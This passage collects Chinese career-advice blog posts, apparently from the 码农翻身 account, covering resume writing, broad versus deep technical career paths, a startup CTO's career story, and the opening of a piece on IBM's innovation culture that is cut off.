如果你的样貌令人赏心悦目，请不要放过展示自己的机会，因为对方面对一大摞简历也希望自己能开心一点的。




2
个人信息怎么写


个人信息包括：姓名，年龄，家庭住址或者籍贯，联系方式等，如果有照片对性别区分明显，那性别甚至都可以省去。如果你是少数民族，加上民族信息会省去一些麻烦。地址详细到街道就可以。




联系方式写 2到3 个即可，手机，微信，邮箱。部分 HR 喜欢用微信跟求职者交流，会通过微信约定面试时间或者使用微信进行更加深入的交流。邮箱则是是发送重要信息的工具，如面试邀请，offer 的下发等。




个人信息一栏是面试官普遍忽略的一项，主要包含的是一些基本信息，所以一些重要信息千万别在这块写，如 GitHub地址，求职意向等，很容易被忽略。




3
教育经历要怎么写


本科生和专科生就简明扼要的写出来几几年 9 月入学，几几年 6 月毕业，什么学校，什么专业，本科 or 专科就行了。硕士生可以将自己本科院校也罗列上去。





部分同学将自己的培训经历也加入到了教育经历中，看起来总觉得怪怪的；




还有同学将自己的高中学校也罗列进去，可能是想找同校校友，蹭蹭关系吧，但是这样的行为并不会增加好感。




4
主要内容的通用规范


在上面三点都没有开始正式的写内容，都是一些基本的信息，格式也都大致相同，没有什么可说的。写完上面的信息之后将进入简历的「正文」部分。那么先说一下通用的规则吧。





	中文和字母 or 数字穿插使用时，在切换的地方用一个空格隔开，视觉效果会更好一点。就像我整篇文章的样子一样。




	注意英文单词的大小写。该大写大写，该小写小写。比如 GitHub，CET-4，jQuery，JavaScript，PHP等。




	中英文标点符号的使用，要不统一使用中文标点符号，如 ，; 要不使用英文状态下的标点符号 ,   ，再在其后面加一个空格，会好看许多。




	如果你的引号怎么使用都不好看，不如试试 「」。




	采用一个单独的空行来分段，或者空俩个中文字符长度的空白分段，不要即使用一条单独的空行，又空出俩个字符的空白。




	说人话。这是最难做到的，而且我也没能做好，这个要求的主要意思能用中文「清晰准确」的表达出你想说的内容。有的同学逻辑比较混乱，他能把说话说清楚，但是写出来的文字却有语病，在语言表达能力方面还是有些欠缺。举个例子，有一个同学选择的是那种两年年在国内学习，两年在国外学习的专业，在简历上写了一句话「中外合作办学的计算机专业，让我不仅学习到了计算机的知识，也让我的英语水平有了比较良好的基础。」，可能是中英文语言结构没有切换过来吧。







5
项目经历，实习经历，校园经历


这一段是简历最丰富的内容，也是招聘方最在意的部分，更是彰显你个人魅力的地方。




这一块写的方式有很多种，人们在这一块的争议也很大。在这一块没有刻板的要求，也无法统一的要求你该如何写，这一部分是充分展示你能力的部分，你需要在这里推销自己，把自己当作一件商品，介绍你自身的优点，介绍你的能力，把自己卖的更昂贵。




在这块的内容中，你应该展示的是你的专业能力，通过对经历的描述，表达出你具备胜任这份职位的能力。




在这一块的可描述内容包括自己在经历中承担的工作，自己的收获，还可以写上某几个工作细节，自己对份经历的反思总结，以及在这份经历萌生出什么样的规划等等。




这几个方向根据经历内容，选择性的描述。如果所有经历把这几个方向都写的话会导致简历篇幅变长，招聘方也容易阅读疲劳。 





项目经历


对于项目经历来说，尽力的将自己的作品可以让招聘方看到。

文字没有说服力，招聘方也身经百战，任由你描述的天花乱坠，他都会在心里给你打一个问号，怀疑你的能力。如果能将作品展示给他，会增加你的信服力。








实习经历


对于实习经历来说，内容跟项目经历类似，记得提一下这份实习经历提高了自己的职业素养。




因为实习给你带来的好处不仅仅是能力上的提升，还能让你对公司的运营，职场的规则有所了解。虽然这是潜移默化的，但是很重要。




如果你没有实习经验的话，HR 可能会考虑要不要在职业素养方面对你增加额外的培训。职业素养包括沟通交流，职场礼仪，对时间节点的认识等方方面面的软技能。




这些素养综合起来的意思就是你这个人懂不懂事儿。概述的比较模糊，介绍一下这方面的成长会成为你的加分项。








校园经历


如果你项目经历丰富，也有实习经历，那校园经历就是你可有可无的东西，挑一俩件典型的事情来说，或者挑一些奖励来讲，就比较随便了，因为在招聘方看来，校园经历就是锦上添花的部分，看你能不能胜任这份职位主要还是看你在项目和实习经历上。




如果你大学期间比较贪玩，忽略了项目经历和实习经历，那校园经历是你最后一根稻草。因为你必须向招聘方证明你有能力担任这个职务，你既没有项目经历，又没有实习经历，招聘方如何相信你有能力承担这个职务。




假如说你真没有上述经历，你有比赛经历吗？这个比赛指的是体现专业技能的比赛，而不是类似歌咏比赛，毽绳大赛之类有关综合素质的比赛。




比赛也没有的话，那就只能比学习了，在学习成绩方面是否突出，平均分很高，拿到过奖学金，这样可以。如果成绩特别好的话可以证明你专业基础良好，招聘方会认为你能经过一段时间的培养后就有能力胜任这份工作，当然这也比较悬，因为你的成绩可能并不是特别突出，只是稍稍突出一点点而已，招聘方无法确认你的真实能力，更不敢轻易的将你纳入人才池。




看到这里突然发现自己是一个「三无」产品怎么办，没有任何突出的经历怎么办，那企业真的无法录取你，因为他手里还有很多既有项目经历学习又好的简历。那对你个人来讲怎么办，尝试踏踏实实的学习一段的时间，把自己从无到有，一个标签一个标签的贴到自己的身上，等到自己身上标签贴的差不多了，就可以自信的去参加招聘了。




感觉扯远了，拉回来，校园经历需要规避的问题是不要将自己从小到大担任的所有职务，组织的所有活动都罗列出来，挑几个典型的，有意思的事情写出来，会给招聘方留下一个好印象。








5
奖励和证书


请挑选一些有含金量的奖励和证书写在上面。





记得两年前在知乎上有人在大学期间获得了 40 多个各式各样的荣誉证书，拍了个照片，说为什么企业不招聘我，凭什么。其实仔细观察一下，他的证书很多都是一些没用什么含金量的证书，当然这个人也很厉害啊，能拿到这么多的证书。




但是招聘方为什么不要他呢，最主要的原因是职位匹配度不足，他无法证明他能胜任他应聘的职位，再多的证书也证明不了。




我们也一样，尽量挑选那些能证明自己可以胜任工作的奖励和证书，否则再多也没有用，反而会降低好感度。




6
个人爱好


有一部分同学不写这一块，还有一部分同学写的内容还不如不写。





比如有些同学会写一些特殊的癖好来证明自己与众不同，还有一些同学写的内容是喜欢打游戏，网一白金段位。




这一部分本应该展示出你是一个热爱生活的人，比如擅长插花，茶艺之类比较文艺范的爱好，这些爱好写出来被招聘方看到会留下一个好印象，而不应该写一些大家都喜欢做的事情，比如男生爱打篮球，爱打游戏，女生爱美食，旅游，电视剧。这类每个人都有的爱好放在这里并不合适。




适当的介绍一下自己的爱好，并提出愿意与同事分享交流相关爱好，活跃同事之间的气氛，效果会好很多。招聘方也比较希望招聘来的人可以给自己带来一些乐趣。




7
自我评价


这里是另一个展示自己的舞台，请不要写一些热爱生活，吃苦耐劳，认真负责，乐于助人之类千篇一律的废话。





这样写当然没有问题，但是没有意义，因为所有人都是这样写的。如果你这部分你也是这样写的，那招聘方可能直接忽视不看，大家都一样，看了好多遍了，还看他干嘛，不如抓紧时间看下一篇。




比较正确的写法是这样子的，在这一块展示一下自己零碎的技能，同时要跟意向岗位有一些关联。最后加上一两年内的职业目标，这就和前篇一律的个人介绍不同了，更多的展示了自己。或者使用另一种写法，写一些自己的能力清单，并附上例子，来证明自己的能力，毕竟耳听为虚。




8
页数


很多人道听途说，严格的将简历控制在一页内，丧失了表现自己的机会。





为什么很多人建议将简历控制在一页内呢，因为很多人经历不是很丰富，但是对经历描述的过于详细，写下了很多废话，还加了一些毫无营养的内容，他们建议你控制在一页以内，其实是为了让你浓缩内容，别写那么多废话和乱七八糟的东西；




如果你个人经历的确比较丰富的话，用简洁的语言概述之后还是塞不下，或者你觉得继续浓缩的话会损失一些重要内容，这时，你可以尝试用两页的篇幅来写自己的简历。




千万不要用三页及以上的页数来写简历，你的经历还不至于需要三页纸来描述。看到一个同学的简历是三页，最后一页只有两行字，前面的内容写的还不好，十分的惹人烦。




拥有两页简历的同学，都会忽视一个小细节，他们不会将两页简历正反面打印在一张纸上。有的同学做也很贴心，将自己的简历用回形针或者用夹子夹住。但这样效果并不好，因为大家都是 A4 纸，而你的简历上有额外的小物件，在整理简历的时候很容易掉出来，不易整理，所以，将两页简历打印在一张纸上是最贴心的做法。在这里需要注意一点，要在显眼处明确标注背后还有内容，否则招聘方看不到你背后的内容你会很吃亏的。




9
黑白 or 彩印


彩印比较贵，但是主要还是看你的模版，和你的照片，看看简历打印成黑白的效果到底好不好，如果不是很好看的话，不如试试彩印呢，柔和的色彩还能缓解招聘方烦躁的心情。





10
其他


有的人鼓吹个性化的简历，把简历制作的花里胡哨，乱七八糟，对阅读产生了很大的障碍。请将创新用在内容上，而不是形式上。形式上的创新，会显得你这个人比较浮躁。贴一张很有个性的简历。










简历制作过程中可能会犯的问题说完了，最后在说一些额外的内容，在求职过程中，一定会用到邮件的，邮件礼仪变得逐渐重要。




我之前也根本不在乎邮件的内容和格式，进入企业工作培训了一次之后，才知道自己过去的邮件真的很没有礼貌。这篇文章不讲邮件相关的内容了，如果感兴趣可以自己去了解。关键词：邮件礼仪。




还有一点要补充的，在我心里认为，每一个人都应该在网络中寻找一个属于自己的一篇空间，来展示自己。有的时候简历上很难描述的内容就可以放在自己私人空间里。你可以创建自己的博客，在博客上发布一些自己做的事情，无论是作品也好，经历总结也罢，把那些需要展示给其他人的内容都可以放在这里，招聘方可以通过互联网访问到你的博客，看到你展示，不仅变向的拓宽了你的简历长度，还让你显得更加优秀。如果认为创建博客很难的话，可以利用云盘啊，将一些出色经历用 Word 的写出来，转存成 PDF 格式，上传到云盘，这将是你绝佳的展示技巧和证明方式。




（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》













优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！























                    
                    
                    上天还是入地？

                                                                                

                    

                    

                    
                    
                    我要这天，再遮不住我眼， 

要这地，再埋不了我心， 

要这众生，都明白我意， 

要那诸佛，都烟消云散！

       --- 今何在《悟空传》






很多人入行以后，都是靠一门语言，几个框架谋生，在这个行业摸爬滚打几年以后，会产生一些疑惑： 作为热爱技术的码农，以后的路该怎么走？   




我觉得有两个方向可供大家参考：  一个是“上天”，一个是“入地”。




1
上天





“上天”的意思就是慢慢往上升了， 刚开始的时候就是在一些框架中做一个填空人员， 在别人的指导下实现小块的业务需求， 比如用Spring, Hibernate/MyBatis 去写税务软件的某一个模块。  





后来职责扩大，自己开始负责一个或几个模块，带着别人做开发，看到的领域也越来越大， 开始向外扩展， 去学习系统的缓存是怎么设计的，数据库读写分离，主从复制是怎么做的， session是怎么管理的，搜索是怎么实现的 ，消息队列是怎么用的，怎么做到高可用性、高并发等等。  




由点及面， 着眼系统整体和业务的全局，慢慢具备了设计系统架构的能力： 把需求转化成合适的技术组件，让这些组件以合适的方式连接、部署、运行。




经过长时间的实践、历练和经验的积累，把很多东西都研究透了，知道了各种技术的优缺点，终于迎来了质变的一天：突然发现自己具备了技术选型的能力，对于某种需求，能够选取合适的软件和技术架构来实现它。 




这时候即使软件业发生了一些变化，出现了很多新技术，例如DevOps,  容器， 微服务，前后端分离，Angular, React ，CQRS 等等，  你发现稍加研究就能参透这些技术的本质， 他们要解决什么问题，有哪些最佳实践， 能否在自己的项目/产品中采用。 恭喜， 你已经成功上天了！




注意，我说的并不是架构师，技术总监， CTO这样的title ， 而是一种能力。 




那些“上天”的人知识面讲究广度，对深度并没有极致要求， 你可能并不了解一个软件的内部细节实现， 但是一定知道这个软件的特点、能力、性能和适用范围。 




2
入地





对于“入地”的人，恰恰相反，要求深度而不求广度， 要求是领域专家， 一个形象的比喻是要求一个一厘米宽的口子得有两公里深。




“入地”的人专注于某一类技术，比如说有人特别喜欢安全领域，把各种攻击、防御方法研究透彻 ， 成为了一个安全专家。  或者有人就是喜欢搜索，把搜索引擎的原理搞了个明明白白， 成了搜索专家。 




很明显，“入地”要求一个人真的要对这个领域超级感兴趣，要不然就经不起诱惑，耐不住寂寞，别人都在热议云计算，大数据，人工智能，你还能静下心来研究动态字节码生成吗？ 你还能研究Tomcat的原理吗？ 




“入地”的领域非常多，例如安全、搜索、应用程序框架、缓存、JVM、分布式、RPC框架等等。  或者更加底层的数据库开发，Web服务器开发， 编译器开发等。




这些领域对软件的正确性、可靠性、安全性、性能要求极高，所以从事这些软件开发的人，肯定得真正地精通操作系统、网络、算法等基础知识， 这些人是真正的专家，受到大家的尊敬。 




3
哪个更好？





上天和入地哪个更好，更高级？  其实没有贵贱之分，就看一个人的爱好了，每一条路都不容易，都需要努力的奋斗才行。 





最怕的是高不成低不就，工作多年还是呆在中间，那就容易被IT的大浪拍死在沙滩上了！  









（完）

你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577













优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！
















                    
                    
                    工作6年，半路出家到CTO

                                                                                

                    

                    

                    
                    
                    


1



  前言





长文预警， 本文讲述了一个非科班出身的大学生，如何摆脱迷茫，怎么确定目标，努力奋斗，从挫折中不断成长， 最后成为CTO的故事。 耐心阅读，必有所得。




文章的主人公是石中玉，2011年毕业于二线城市的普通高校， 数学系下属的信息与计算机科学专业。





有六年的软件行业从业经验， 先后在二线和一线城市参加过多个大中型项目的开发工作， 目前创业中，在公司的职位是CTO， 主要负责公司的核心技术研发和管理工作。




六年时间，从一个门外汉成长为CTO， 石中玉的发展经历对大家有极大的借鉴作用。 




下文以第一人称口述。




2



  大学时代的迷茫





刚上大学的时候， 没了高中时代的忙碌和快节奏，没课的时候可以睡到饿的不行才起床。大家可以有大把的时间玩自己想玩的游戏，去自己想去的城市，更重要的是可以没人管的谈恋爱了。




但是我内心深处却笼罩着“迷茫”的乌云， 这些迷茫包括：

1）我为什么要上大学？

2）我现在学的知识到底有什么用，怎么用？

3）我将来毕业后要从事什么工作？

4）我应该学点什么技能，才能不向别人那样，毕业即失业？

。。。。。




这团乌云一直无法消散，也没有人能够给我们拨开乌云。为此我请教了很多的学长，老师，前辈，可是结果却是发现他们跟我一样也很迷茫，也不知道如何解决我们的问题。唯一得到的比较好的建议就是：珍惜时光，多读书，多学点技术。




于是我没事就会泡在图书馆，看各种各样的书，不限种类，不限题材，疯狂地看了很长一段时间的书。看了很多名人大家的传记，对于我的迷茫我有了这么几点感悟。




1）Just do it!

2) 不要急于满口袋，先要满脑袋，满脑袋的人最终也会满口袋 《王选传》

3) 在已经建立起来的学科领域之间的空白区上,最容易取得丰硕的成果.《王选传》

4) 我要去从事充满创造性的，富有挑战性和变化的工作，而计算机软件开发正好是这样的一个工作。
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  半路出家跨入计算机行业





我所学的专业是信息与计算科学，听起来好像是计算机系的，其实这个专业是数学系下设的一个专业，我们学习了大量的数学课程，计算机课程相对很少。这样说起来我也属于半路出家从而进入计算机的世界的，相信很多人是和我一样的，并非计算机科班出身，而是靠自己的摸索和学习，正努力跨入软件开发行业的。




当然这个过程是非常苦逼的， 为了学习计算机相关的知识，我花费了相当多的心思，主要通过如下几个途径进行学习：




1）认识了学校计算机系的朋友， 使用朋友的账号登录计算机系的ftp服务器，学习上面Java相关课程。 用记事本敲了很多代码，在命令行里执行， 但是时间长了，还是不知道到Java 有什么用处。




2）图书馆翻阅大量的计算机相关书籍

了解到Java可以做客户端， 做GUI开发，自己就琢磨着做一些简单的带界面的程序。 但是感觉不够刺激，不像玩游戏界面酷炫，比较苦恼。




3）去计算机系旁听计算机相关课程， 结果被鄙视




4）通过网络搜索，论坛，QQ群向同行请教。不知道怎么问题，再次被鄙视。




（码农翻身老刘点评： 知道自己需要什么，不怕鄙视努力朝目标挺进， 有多少人能做到呢？）
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  第一个项目





经过半年时间的摸索，我终于明白编程是怎么回事，也终于意识到自己已经开始入门了，可以做一些项目了。




大二的时候，有了一个机会 ， 帮老师的一个朋友开发一个物料管理系统， 自己花了很大的心思去做，踩了很多坑，比如数据库设计， 自己没搞过，结果表结构设计的很不合理。 




后来在网站找到了一个叫做VB的语言和Access数据库， 拖拖拽拽就可以完成一个简单的程序。当时遇到问题的时候在论坛问， 刚开始的时候非常悲催， 连自己的问题都描述不不出来，被人鄙视。 




后来有个好心的前辈终于理解了我的问题， 帮着做了一个原型，告诉我之前的数据库那些地方设计的不合理，应该去看哪些书学习。 




经过种种努力，还是把这个小项目给搞定了， 客户很满意，说这个小伙子可以， 好好努力吧，以后在软件方面应该会有成就。我当时受到了很大的鼓舞，收获了巨大的信心。




（码农翻身老刘点评： 抓住机会，努力学习、求教，最终完成项目，获得表扬， 这是典型的正反馈。 在大学期间，如果有志于在软件行业发展的同学， 都应该争取获得这样的经历。）
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 第一次求职





第一次求职是Java工程师， 笔试做得很好，应该是前几名。复试的时候有了如下的对话。 现在回想起来觉得当时自己挺狂的。




面试官：说说mysql数据库和Oracle数据库的区别？

我：（面试前表示看过背的很熟），表示回答的很溜。




面试官：看简历你不是学计算机专业的，说说你跟计算机专业的人比有什么优势？

我：1）我本科期间学了很多的数学课，逻辑思考能力要比学计算机的强很多。

2）我跟他们都一样，大学期间学了很多理论，缺乏项目实战，这点大家都差不多。

3）数学那么难学的科目，我都能搞定，同时我的计算机基础也不比他们差，在学习能力上我比他们要强，只要你给我时间，我一定能超过他们。




很幸运的是，我还真的被这家公司顺利录取了，进入了这家公司实习，毕业后顺利留在这家公司，并且在这里工作也非常开心，在这个公司的工作经历，让我成为了一个职业的开发者，在行业里面叫：软件开发工程师。




6



  职业发展的困惑





随着工作时间的推进，我渐渐的了解了这个行业的现状和开发流程，慢慢的就遇到职业发展的困惑和瓶颈。 




尤其是工作了三年以后， 当前的工作能给你带来的技术提升已经非常有限了， 每天都是增删改查， 说得难听一点， 就是搬砖。  




我从我的上司和领导的身上能够看到五年或者十年后的我的样子，而他们的职位和工作不是我想要的，我希望我能够有更大的成长和更高的平台，于是在思考再三之后选择了离职。




当时VR, 虚拟现实等技术很火热， 我也很感兴趣， 想着玩玩这些项目应该是很有意思的， 正好之前认识的前辈和我联系，说来深圳吧，我们一块儿折腾点项目。




我放弃了已经趋于安稳的工作，和未来可能会很顺利的职位晋升机会，选择了前往大城市，面对一个更加陌生和复杂的环境，去历练自己。
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一年顶三年：疯狂的历练





到了深圳，见到了一直想一起工作的前辈，在前辈的指导下很快的我又开始了新的工作。




深圳和我原来所在的城市最大的不同之处就在于，这个城市的快节奏，高效率。人们可以为了完成一个工作，而通宵加班，甚至连续工作几天几夜，这些在此前是不可想象的。




我发现前辈主要用 PHP，  因为他做的项目是短期、快速的项目， Java这么重型的语言不太合适。 所以我也只好去学PHP， 后来就发现，PHP真是一门神奇的语言，很高效，一个晚上就可以搞定一个项目。




前辈的思路就是把我这个不会游泳的人扔到海里去游泳， 我不会PHP， 他直接扔给我一个项目，说不会的话马上自学， 自学搞不定就来问我。 




我觉得非常苦逼， 本来想着周日去给客户部署，上线， 可是周六的时候我还没什么进展。




到周六晚上的时候前辈跑来问我：你这个项目搞得怎么样了。　

我说：我还是啥都不会，搞不定。　




他说：没事， 来，我给你说说怎么做。




然后他就坐下开工，啪啪啪敲键盘，开发了一个通宵。

等到第二天旭日东升的时候，　那个项目刚好完成。　




然后就坐着地铁到客户那里交付，给客户讲怎么使用。　




当时我就感慨前辈能力太强了，包容心太强了，别的领导看到你完不成就批评你，或者辞掉你。而他则是通过超强的能力展示一个程序员应该是什么样子。　




项目交付以后，我们在深圳的茶餐厅边吃边聊，他给我讲了很多过去的经历。我下定决心跟着他多学技术。　




跟了前辈一年，一起见客户，定需求，讨论技术，交付项目，讨论公司的未来，学到了非常多的东西，让我的技术得到了很大的磨练和提升。　　




但是也非常辛苦，一年内基本上没有周六周日，除了吃饭、休息就是工作，相当地疯狂，我觉得我这一年的疯狂也许能顶上别人三年的积累。　




很可惜的是，我们一直没有想清楚公司的未来要做成什么样子，而他一直希望自己能够不断的经历一些项目，通过这些项目，养活公司，锻炼自己，成就别人的梦想，同时让自己生存下来。




而当时的我渐渐的厌倦了这种一直不断的帮别人做项目，而自己的公司却没有自己主打的核心产品，没有核心产品，就没有品牌，就无法稳定持续的盈利。 




这段时间的磨练可以总结为下面两点：

1）快速的学习能力。

因为我可能一周就要完成一个小项目，并且交付，而这个项目没有其他人协助，全部由我一个人前端，后台，数据库设计，都由我一个人独立完成，真正的全栈工程师。




2）高效沟通，高效工作。

原来的工作因为是研发公司自己的产品，因此在项目计划上都会给予充分的时间，允许我们拖拉，或者开小差的完成工作。

而在深圳这些都不可以，并且有问题要非常准确及时的跟相关的人沟通清楚，确定解决方案，并且尽可能在最短的时间内完成工作，正是因为这些项目的锻炼，让我养成了时间管理和高效工作的习惯。




（码农翻身老刘点评：初入职场的前三年有可能会决定你的一辈子，这三年的积累和养成的习惯会深深的在你身上形成烙印。趁着身体年轻，完全可以疯狂一把）
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 失败的第一次创业





在15年初的时候，我做了工作交接，和前辈告别， 加入了深圳的另一个创业团队，这个项目让我真正的明白了创业是怎么回事。 




当时碰巧赶上了国内的创业热潮，总理在中关村的一个咖啡店里喝了一杯咖啡，里边有很多泡沫， 这其实就暗喻了当时创业的情景。 




资本像疯了一样投入到创业的圈子之中，整个社会都在鼓励大家出来创业。如果当时你正在一家公司里老老实实的上班，你的朋友就会用一种奇怪的眼神看着你，你看XXX都出来创业了，你的梦想哪里去了？你就不出来创个业？




可见当时的创业者是多么的疯狂，资本又是多么的热，XX项目拿到了几百万融资；XX项目已经被XX重金收购。在创业的圈子里，不断的发酵，激励着每一个创业者，没日没夜的研发自己的项目，并快速的投入市场，并迅速迭代，获取数据，去路演，去找投资人。




我加入的这个初创团队，就是在这样疯狂的环境里，这个项目主要是致力于家电后市场的一个整体解决方案，我们希望通过互联网的手段，可以为每一个家庭的家电提供从维修，保养，回收，更换的整体解决方案。




家电后市场是一个有着万亿规模的市场，现状就是脏乱差，乱收费，没有标准化，并且没有巨头存在。而这个项目就是致力于改善这种服务的现状，希望整个行业能够在互联网和品牌的帮助下，提升服务质量，提高行业效率。看似是一个很不错的项目，有市场，有价值，也确实解决了这个社会存在已久的一个大问题。




模式是O2O模式，平台通过小区推广的方式，直达业主，业主通过微信下单，系统根据业主所在的小区位置，匹配附近作业的师傅，上门服务。服务完毕后，业主对师傅的服务进行评价。完成整个交易和服务的闭环。




不知道大家现在对这个行业或者这个项目怎么看，我相信很多人依旧会觉得这个项目不错啊，可以搞啊，然而我想告诉大家的是，这个项目我们却没有能够顺利的做下去，失败的原因这里我反思了几点：




1）O2O项目成败的核心在于频次，频次低，获客成本高，这种项目回本的周期就会比较长。




2）O2O项目在相当长一段时间内，都需要快速占领市场，占领用户心智，获取尽可能多的运营数据。因此不烧钱是不可能的，而我们团队的钱有限，经不起烧，我们也没有在关键节点上，跟投资人达成共识，导致融资一再受挫，最后不得不终止，团队解散。




3）团队成员不稳定。因为是初创企业，团队成员会因为公司无法开出合适的薪水而选择跳槽或者离职，严重影响公司的正常运营。




4）资本只会锦上添花，不会雪中送炭。情怀和梦想在资本面前一文不值，资本是逐利的，只会向着有巨大市场潜力和未来价值的方向去。




经过这次项目的失败，把我的积蓄也花得差不多了。 当然我对创业有了更深刻的认识，也充分的认识到一个企业尤其是一个初创企业，生存和稳定是多么的重要。这也是为什么后边我回到家乡省城以后，一直跟我的合伙人强调一定要先生存再发展，想清楚了再决策行动，要避免盲目烧钱。
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 重装上阵，再次创业





深圳的创业项目失败后，受朋友再三的邀请我决定放弃深圳其他项目的机会，回省城家乡开始新的创业项目，新的项目还是是一个O2O项目。 




这次致力于户外亲子活动，主要解决孩子周末或者假期闲暇时光如何度过的问题。




这个项目相对于家电维修而言就高频了许多，并且这个项目已经在地市试运营了半年时间，运营数据非常漂亮，也深受家长的欢迎。并且也有投资人有投资意向，愿意投资这个项目向全国扩张。




我加入团队后，对项目进行了重构，重新开发了一套系统，并且在一个月内就顺利上线，进行推广。在运营了三个月后，我们决定放弃这个项目而重新调整方向，放弃的原因如下：




1）跟投资人的谈判决裂，投资人放弃投资。决定自己烧钱，推广。

2）O2O项目的获客成本居高不下。一直在消耗公司的钱，而成效甚微。

3）亲子活动是一个周频次的，客单价低，人力成本高的项目，利润空间有限。

4）公司人员能力和积淀有限，无法持续输出高质量的优质活动方案。

5）公司的原有启动资金，基本消耗完毕，已经面临着生存困境。




基于以上几点，我们决定放弃这个项目，选择能够让公司生存下去的项目，后续再考虑这个项目的运营。于是综合了创始人的资源和积累，我门定下了几个原则：




1）做我们能做的事，我们熟悉的领域。

2）利用互联网手段，做远离互联网的事。

3）做能挣钱的事，让我们能够生存的事。




根据这几个原则，我们找到了我们能做的教育培训行业，这个行业远离互联网，我们很熟悉，并且这个行业的现金流很好。痛点很明显：很多机构或学校没有信息化，不知道如何利用互联网的手段进行招生。




于是我们做了几个行业调研的情况，迅速调整方向，开发了适合培训机构行业的信息化管理系统，该系统主要解决如下几个问题:




1) 为机构提供微官网。可以让其他人在网络上了解机构的情况和如何联系机构，找到机构。




2）家校沟通。通过微信公众号，老师可以将孩子在学校的作业，表现情况进行发布，家长可以通过家校沟通功能进行查看，了解。并且沉淀了学校的信息，便于后续做分析研究。




3）营销工具。主要解决学校招生难的问题，借助移动互联网和微信的社交生态系统，快速传播，收集意向客户的联系电话。进行电话回访，试听转化。




经过以上的转变和调整，公司非常顺利的把产品推向了市场，并且收到了很多学校的反馈，用户量在16年的时候达到了数百家。公司也实现了盈利，解决了我们的生存的问题。




随着微信热度的下降，和微信营销的泛滥，我们的产品热度也开始下降，不过幸运的是，我们已经找到了新的方向，新的业务已经顺利开展。 
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 创业经验总结





一路走来，我踩了不少的坑， 总结下我对于创业的几点看法，希望对大家有所帮助：




1）创业其实是一门生意，所以一定要考虑赚钱，不赚钱的创业就是耍流氓。




2）选择自己熟悉和擅长的领域，而这个领域确实需要改变，并且有巨大的商业价值。




3）尽量避开和巨头之间的竞争，选择垂直的细分领域，做出特色，做出不同。




4）找到适合自己的合作伙伴，明确团队之间的分工和利益分配，确保团队的稳定。




5）大胆、高效的去尝试，去试错，快速的决策，高效的执行，用迭代的思路去创业。




6）避免大而全，而是选择某个单点，专注这个点做到极致，做出壁垒。讲好故事，再必要的时候借助资本的力量，去让自己的项目能够快速的占领市场，形成市场垄断，不给后来者争抢的机会。
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  送给初入职场的你





1）请热爱你的工作，用认真的态度去做好每一件小事。




2）三人行必有我师，多向你身边的人请教学习，对待技术要诚实，不会就一定要有“不要脸”的精神去问清楚，搞明白。




3）高效工作。如果是技术不够熟练，就多投入时间练习，达到熟练，对于能够半个小时完成的的工作，就不要拖延花费更多的时间，高效率的去工作，去出色的完成任务。




4）高效沟通。在软件开发领域，团队沟通和协作是非常关键的，所以一定要能够清晰的表达自己的观点或者遇到的问题，这样才能够保证团队的信息能够流畅的上传下达。




5）积极反馈。要及时的向你的上司反馈你当前的工作进度和遇到的困难，让你的领导知道你的工作进展，便于他做决策。




6）关注前沿技术，不断丰富自己的技术栈。




7）关注开源，关注相关社区。多与人分享，交流技术。




8）养成写博客，做总结的好习惯。坚持下去，一定会有很大的成效。




（完）

你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577










码农翻身



用故事讲述技术


















                    
                    
                    只是Work还不够，更重要的是Think

                                                                                

                    

                    

                    
                    
                    今天无意中看到一条新闻：IBM第三季度营收为191.53亿美元， 销售额连续22个季度下滑，看来老东家还在艰难地转型之中。

回想起我在IBM的经历，让我感触比较深的一点就是 Think 的文化。 

也许你用过IBM的笔记本电脑ThinkPad， 甚至用过IBM的台式机ThinkCentre。 你也许会想过：为什么叫做Think呢？   

（题外话： IBM的PC业务早在2004年已经被联想收购，现在PC的Think品牌属于联想，很多人认为ThinkPad T43以后的笔记本都不是纯正的ThinkPad了）

Think其实就是鼓励创新， 不Think怎么可能创新呢？

很多公司都会提倡创新，在会议上、在文件中把创新提得震天响，但更多的是一些口号，标语，真正能把创新落到实处的公司却不多。
 

因为创新这个词确实有点“虚”，对于普通员工来说，我怎么做才是创新？ 发表论文？申请专利？ 那也不是我的工作啊，我手头的工作还忙不过来呢，创新什么啊？！
 

在IBM, 创新已经成为绩效考核，升职加薪的一部分了，每年在做年度计划的时候，要在个人绩效承诺中庄重地写上：我今年要publish x 个idea,  file x 个patent 。 

稍微解释下，“publish” 是说你的idea还达不到专利的要求，但是呢我们要把发布它，别的公司也不能就这个idea申请专利了，自然也不能收我们的“保护费”了，这是个防御性措施。所以publish 相对容易， "file"才是真正的申请专利成功，比较难。 

既然做出了庄重的承诺，年底总结的时候是要算账的，直接和加薪关联，所以得打起12分的精神去想各种idea了。 一个人绞尽脑汁也想不出来？不用怕，可以组成互帮互助的小组，大家一起头脑风暴。一个组内想法太单一？ 可以形成跨组织、跨部门的小组， 不同专业的人在一起好好“激荡”一下。 

诸位可以想象一下这个场景，IBM有几十万员工，每个人都这么干，得有多少新想法，新点子冒出来啊！ 

我看了下资料，IBM 2016年在美国获得了8088项专利，连续24年高居榜首！ 据说IBM单单是专利授权费用每年就有20亿美金的利润！ 非常可观。 

但是作为一个普通的程序员，很难像科学家那样天马行空地去创造出东西出来，即使是是从自己的工作中挖掘，提炼，找出对某个问题的新的、更有效的解决方法，想搞出一个专利的难度还是挺大的，专利只属于少数人。

对于大部分人来讲，没法成功申请专利怎么办？ 难道就没法升职加薪了吗？其实也不是，这里所说的创新，它的范围要比专利大得多。
 

